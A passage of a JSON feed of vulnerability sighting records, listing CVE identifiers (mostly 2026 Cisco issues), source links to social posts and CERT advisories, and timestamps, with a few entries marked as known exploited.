"c29ee8cd-2077-4d3d-8511-746e875b70a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20148", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkkeftjj42k", "content": "", "creation_timestamp": "2026-04-15T18:42:43.366710Z"}, {"uuid": "82466833-b892-4503-8b3b-99266609d43c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20078", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkkjrtvn62r", "content": "", "creation_timestamp": "2026-04-15T18:45:43.601290Z"}, {"uuid": "9069eca6-9939-4d50-b6f7-cd56bfcc6a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkkpqw7wq2a", "content": "", "creation_timestamp": "2026-04-15T18:49:07.219003Z"}, {"uuid": "6cfe3df0-1179-47fb-b4ab-c99ff62eaa0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20132", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkkwkad3q2r", "content": "", "creation_timestamp": "2026-04-15T18:52:52.098410Z"}, {"uuid": "01665fc2-8900-4b0d-a7c4-3728f9a2e21d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjklz37hcb2r", "content": "", "creation_timestamp": "2026-04-15T19:12:10.849218Z"}, {"uuid": "ab9b50e7-fccb-4dec-be3b-280993c86fba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20152", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjkmbzpqxh2o", "content": "", "creation_timestamp": "2026-04-15T19:17:11.199897Z"}, {"uuid": "d1c02a14-d96d-4fc6-aaab-80a59cf5d5f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116410343167133391", "content": "", "creation_timestamp": "2026-04-15T19:21:11.668302Z"}, {"uuid": "e62bf117-8bac-4d5e-84ad-4e4dc351ec48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116410395788925645", "content": "", "creation_timestamp": "2026-04-15T19:34:34.354394Z"}, {"uuid": "6f7ff2d0-d373-4938-88bb-858e5960e273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20204", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mjlnkeq6ch2n", "content": "", "creation_timestamp": "2026-04-16T05:12:25.131606Z"}, {"uuid": "2d31ce06-692b-4e6f-b16c-10c96d0d06fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20204", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mjm3hxyovi2s", "content": "", "creation_timestamp": "2026-04-16T09:21:36.622502Z"}, {"uuid": "ada84309-3753-4b21-abb8-6cd8f05fcdd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-23", "content": "", "creation_timestamp": "2026-04-16T01:51:11.000000Z"}, {"uuid": "260d3afb-5ea2-405f-bf98-2e2ee02e6456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-23", "content": "", "creation_timestamp": "2026-04-16T01:51:11.000000Z"}, {"uuid": "bed29d6d-668e-4f4a-a591-af97b0f760ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-23", "content": "", "creation_timestamp": "2026-04-16T01:51:11.000000Z"}, {"uuid": "9f0052e7-64fc-4238-b570-87fbd79597ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-23", "content": "", "creation_timestamp": "2026-04-16T01:51:11.000000Z"}, {"uuid": "3faf9fb9-5cc9-464d-b7a5-00d774ed05dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/paws101.bsky.social/post/3mjm7zpzqa22w", "content": "", "creation_timestamp": "2026-04-16T10:43:12.044640Z"}, {"uuid": "6ee6dc08-e487-4572-b83b-aab0a6d3893c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mjmahtx3vk2o", "content": "", "creation_timestamp": "2026-04-16T10:51:01.280220Z"}, {"uuid": "14abcb2b-f304-4d45-8e1a-b4fd814aeb63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjmcnr5qck2x", "content": "", "creation_timestamp": "2026-04-16T11:30:08.538720Z"}, {"uuid": "4e8363b7-029f-4afc-a55b-3c74ed9bf554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20148", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjmcnr5qck2x", "content": "", "creation_timestamp": "2026-04-16T11:30:08.636427Z"}, {"uuid": "046eeb96-1760-4e57-af47-3ecf68ac7d48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjmcnr5qck2x", "content": "", "creation_timestamp": "2026-04-16T11:30:08.755020Z"}, {"uuid": "41684607-554b-4862-a908-102d768b60f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjmcnr5qck2x", "content": "", "creation_timestamp": "2026-04-16T11:30:08.851302Z"}, {"uuid": "8719257c-cb21-4bc7-906d-0cad281fc911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjmcnr5qck2x", "content": "", "creation_timestamp": "2026-04-16T11:30:08.993097Z"}, {"uuid": "4dcf4b69-e486-48ff-bdaa-07d13a5016a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://thehackernews.com/2026/04/cisco-patches-four-critical-identity.html", "content": "", "creation_timestamp": "2026-04-16T09:27:00.000000Z"}, {"uuid": "2ac27fa9-a94c-4288-b544-4890771a1a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20184", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mjmjpswyoz23", "content": "", "creation_timestamp": "2026-04-16T13:36:36.250494Z"}, {"uuid": "14331ccb-807c-41b0-ac6a-01fe568f0495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mjmkv4zmwb2o", "content": "", "creation_timestamp": "2026-04-16T13:57:34.626784Z"}, {"uuid": "6bf46fa7-7581-4080-81cd-7e8f1499f574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20152", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116415528739254723", "content": "", "creation_timestamp": "2026-04-16T17:19:57.313476Z"}, {"uuid": "c9be3d74-094e-4b64-b41a-bb6807b15323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20911", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mjn7nq7klh2a", "content": "", "creation_timestamp": "2026-04-16T20:09:31.237090Z"}, {"uuid": "e35bd286-3545-4c51-97c0-25ec07e4c620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20105", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjnmxfrh5n2o", "content": "", "creation_timestamp": "2026-04-17T00:07:07.340920Z"}, {"uuid": "2621827b-25c0-41f9-8ae8-9ef6860de267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20014", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjnon2mzkf2l", "content": "", "creation_timestamp": "2026-04-17T00:37:08.324065Z"}, {"uuid": "7aafe981-f343-41bf-afbc-491cba913ee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjnuvsllad2g", "content": "", "creation_timestamp": "2026-04-17T02:29:24.347127Z"}, {"uuid": "d9252cf1-d366-4415-8db2-f8a86552a9f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "5da354ba-c2fa-43f3-8219-7f9ac6faa820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20081", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "0f6dd3fd-d72d-4a07-8b52-462449a6c4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20152", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "e0a09828-c030-47ed-82e7-77eab7aebdfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20170", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "b89c377d-2703-40a4-a606-69268c3ec7f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20059", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "29f93444-3afc-4525-bd76-efef26e5e6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20060", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "ee764ce1-7f4a-415f-ab58-0f6ae063c9e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20061", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "ec9bdeaa-174b-445d-ae4c-ed82d4190e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20078", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260417", "content": "", "creation_timestamp": "2026-04-16T18:00:00.000000Z"}, {"uuid": "158a97c1-f7aa-48f8-bb97-da8377051b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-cisco-ise-can-lead-rce-patch-immediately", "content": "", "creation_timestamp": "2026-04-17T01:45:05.000000Z"}, {"uuid": "c8eabcff-d942-4e2c-9129-e3f4c52bed04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-cisco-ise-can-lead-rce-patch-immediately", "content": "", "creation_timestamp": "2026-04-17T01:45:05.000000Z"}, {"uuid": "114edbb0-aecc-4482-9c30-01ed0fbeb9a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-cisco-ise-can-lead-rce-patch-immediately", "content": "", "creation_timestamp": "2026-04-17T01:45:05.000000Z"}, {"uuid": "7025a564-9301-49a0-96b1-2bff77cd27da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://www.cert.se/2026/04/cert-se-veckobrev-v16.html", "content": "", "creation_timestamp": "2026-04-17T05:47:00.000000Z"}, {"uuid": "937386a8-7b5c-4470-89da-219bc2d0ea67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-critical-improper-certificate-validation-cisco-webex-can-lead-user-impersonation", "content": "", "creation_timestamp": "2026-04-17T02:13:42.000000Z"}, {"uuid": "49ddb017-9c5e-4fc0-9212-22e899cb11e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20204", "type": "seen", "source": "https://www.cert.se/2026/04/cert-se-veckobrev-v16.html", "content": "", "creation_timestamp": "2026-04-17T05:47:00.000000Z"}, {"uuid": "a85b012d-31fc-4ae7-a93d-1d36fff7a8c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://infosec.exchange/users/0patch/statuses/116420383122049547", "content": "", "creation_timestamp": "2026-04-17T13:54:30.490645Z"}, {"uuid": "acf551c5-132d-48ef-85e4-cd0a0ec7b794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mjp4b3fpksa2", "content": "", "creation_timestamp": "2026-04-17T14:13:46.717230Z"}, {"uuid": "7bfe4c7a-4b2c-4f89-9c58-795882d51ccd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20204", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mjphoy4ydw2v", "content": "", "creation_timestamp": "2026-04-17T17:38:19.513812Z"}, {"uuid": "a6284f75-e61e-49d9-a76a-f6c9c76deab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mjphoy5f5n25", "content": "", "creation_timestamp": "2026-04-17T17:38:20.627367Z"}, {"uuid": "01e7f910-5ee0-4719-9655-967a6f49e781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mjpuecytmvi2", "content": "", "creation_timestamp": "2026-04-17T21:25:01.012770Z"}, {"uuid": "e6465f5b-3742-4d3b-90f3-602e2d79b05c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mjqk2ct6hd24", "content": "", "creation_timestamp": "2026-04-18T03:53:04.947677Z"}, {"uuid": "273a1c7b-68d8-4152-a2d1-367d5dfe0335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://www.trendmicro.com/en_us/research/26/d/us-public-sector-under-siege.html", "content": "", "creation_timestamp": "2026-04-10T19:00:12.000000Z"}, {"uuid": "c00a9b88-82be-4e8e-8e55-442112b66a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjswozj3tk2k", "content": "", "creation_timestamp": "2026-04-19T02:44:42.810342Z"}, {"uuid": "b9a23878-fc87-47ce-ac0b-56d404e374de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjswzbz6kk2k", "content": "", "creation_timestamp": "2026-04-19T02:50:27.835053Z"}, {"uuid": "710896b9-6bca-4f2a-b335-52bad1651cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20148", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjswzbz6kk2k", "content": "", "creation_timestamp": "2026-04-19T02:50:27.941487Z"}, {"uuid": "37ec3176-f96a-404c-a4f6-0abb12859c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjswzbz6kk2k", "content": "", "creation_timestamp": "2026-04-19T02:50:28.019643Z"}, {"uuid": "13c96a1c-cd33-4ebe-b1ac-9754dd61fd7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjswzbz6kk2k", "content": "", "creation_timestamp": "2026-04-19T02:50:28.096487Z"}, {"uuid": "cf0d7ce3-61f7-4901-8d59-0654e8616249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjtimohclc2k", "content": "", "creation_timestamp": "2026-04-19T08:05:35.535398Z"}, {"uuid": "b2dbb672-cf2b-4316-b6de-1db563e359c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mjugvzbrzo2y", "content": "", "creation_timestamp": "2026-04-19T17:07:37.447961Z"}, {"uuid": "cef1cfff-84ee-4b04-beb8-768065feb31c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjvgdclzwg2x", "content": "", "creation_timestamp": "2026-04-20T02:29:48.894897Z"}, {"uuid": "8844190e-3c69-4ce2-9a26-d62a3f44b5c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mjvumecmjz2o", "content": "", "creation_timestamp": "2026-04-20T06:45:26.050602Z"}, {"uuid": "c860514b-bbb6-48f7-aa30-30877eb8f10b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mjvumecmjz2o", "content": "", "creation_timestamp": "2026-04-20T06:45:26.155628Z"}, {"uuid": "e1584223-4bb9-4cfe-a66a-df770fddb908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mjvumecmjz2o", "content": "", "creation_timestamp": "2026-04-20T06:45:26.268345Z"}, {"uuid": "a9416e73-cdd9-4715-9bbe-351c312a7870", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20122", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e1228312-271a-42cb-9474-847cdc1a1e8e", "content": "", "creation_timestamp": "2026-04-20T20:00:03.021667Z"}, {"uuid": "6d775028-a869-41e1-8f13-ce14955411df", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20133", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3ce3ea70-a19c-4c91-a7fc-bb080fcc7142", "content": "", "creation_timestamp": "2026-04-20T20:00:03.132286Z"}, {"uuid": "1e1ae5ae-3e2d-4b26-9faf-5995db7e8ccd", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9ef4bbca-93a6-4add-bce2-2196e27c7ec5", "content": "", "creation_timestamp": "2026-04-20T20:00:03.483374Z"}, {"uuid": "73bf8368-965b-4728-afad-cc386ac93582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2049", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mjxe4z4yvc2h", "content": "", "creation_timestamp": "2026-04-20T20:55:50.963483Z"}, {"uuid": "49da29b3-34e8-41d3-84af-341162452b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2049", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mjxefs6ms22h", "content": "", "creation_timestamp": "2026-04-20T21:00:46.364561Z"}, {"uuid": "bd40f50c-f4bc-433e-b1dc-5ed777699f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-166", "content": "", "creation_timestamp": "2026-04-20T12:43:40.000000Z"}, {"uuid": "89dd1d7e-f67b-4328-b7d4-94c2e0ce7ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjxkw3xdrc2s", "content": "", "creation_timestamp": "2026-04-20T22:57:20.489459Z"}, {"uuid": "0204c685-e23c-48c7-b674-6813e4cadf8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mjy3x67srm2n", "content": "", "creation_timestamp": "2026-04-21T04:02:04.244374Z"}, {"uuid": "12d58819-3e59-4146-bacb-e4b398d05bf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mjyvkabjuj2b", "content": "", "creation_timestamp": "2026-04-21T11:40:06.254723Z"}, {"uuid": "6fac9694-7053-46aa-af6d-2f3a3184ab24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mjyvqnzivk25", "content": "", "creation_timestamp": "2026-04-21T11:43:45.767381Z"}, {"uuid": "9833ce79-d8a4-46ea-a891-33d3ad441ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20103", "type": "seen", 